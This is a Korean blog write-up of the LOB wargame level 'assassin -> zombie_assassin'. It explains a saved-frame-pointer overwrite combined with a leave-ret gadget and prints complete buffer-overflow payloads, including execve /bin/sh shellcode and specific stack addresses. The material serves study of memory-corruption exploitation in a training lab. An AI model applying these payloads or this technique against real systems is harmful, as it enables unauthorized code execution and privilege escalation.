LOB assassin -> zombie_assassin
ID : assassin
Passwd : pushing me away
접속해서 ls 명령어로 파일을 확인합니다
code를 보면 이렇습니다. 전 단계 giant처럼 strcpy()가 아닌 strncpy()를 사용하고 있습니다.
FPO 문제와 비슷한데요, 오히려 1byte만 조작할 수 있었을 때보다 지금이 더 쉬운 것 같습니다.
FPO(LOB golem -> darkknight) -> http://jaemin8852.tistory.com/48
메모리 구조는 이렇습니다. | buffer(40) | sfp(4) | ret(4) |
여기서 sfp를 변조하고 Return Address를 leave - ret으로 변조한다면,
Return Address는 결국 sfp+4의 주소에 있는 값로 변조된다는 것을 알면 됩니다.
왜냐하면 sfp를 변조하고 ret명령에서 leave로 가면 esp를 ebp로 이동시키고 pop을 하면 esp는 변조한 sfp + 4에 위치하게 되기 때문입니다. 그 후 ret을 실행하면 sfp + 4의 값인 Return Address로 이동하게 되겠죠?
payload는 이렇게 구상하겠습니다.
payload : ./zombie_assassin `python –c ‘print 뒤의 NOP 주소 + “A”*36 + buffer – 4의 주소 + leave – ret 명령의 주소 + “\x90”*13000 + 셸코드’`
일단 leave – ret 명령의 주소를 알아내겠습니다. 파일을 tmp에 옮기고 gdb로 열어보겠습니다.
main 함수의 에필로그 부분에서 찾을 수 있었습니다.
NOP의 주소를 알아내기 위해 세그폴트를 내보겠습니다.
payload : ./zombie_assassin `python –c ‘print “A”*40 + “BBBB” + “\xdf\x84\x04\x08” + “\x90”*13000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"’`
core 파일을 gdb로 확인합니다.
여기에 strncpy() 된 문자열이 있고, 0xbfffc77c가 buffer – 4가 되겠네요. 더 내려가면
argv[1]이 위치하고 있는 모습입니다.
buffer에 0xbfffc9fc를 넣고, sfp를 buffer – 4의 주소인 0xbfffc77c로 변조하겠습니다.
payload : ./zombie_assassin `python –c ‘print “\xfc\xc9\xff\xbf" + “A”*36 + “\x7c\xc7\xff\xbf" + “\xdf\x84\x04\x08” + “\x90”*13000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"’`
공격하겠습니다.
exploit!
감사합니다.
'System&Write up > LOB' 카테고리의 다른 글
LOB succubus -> nightmare Write up (0) | 2017.11.14 |
---|---|
LOB zombie_assassin -> succubus Write up (2) | 2017.11.13 |
LOB giant -> assassin Write up (0) | 2017.11.09 |
LOB bugbear -> giant Write up (0) | 2017.11.08 |
LOB darkknight -> bugbear Write up (0) | 2017.10.26 |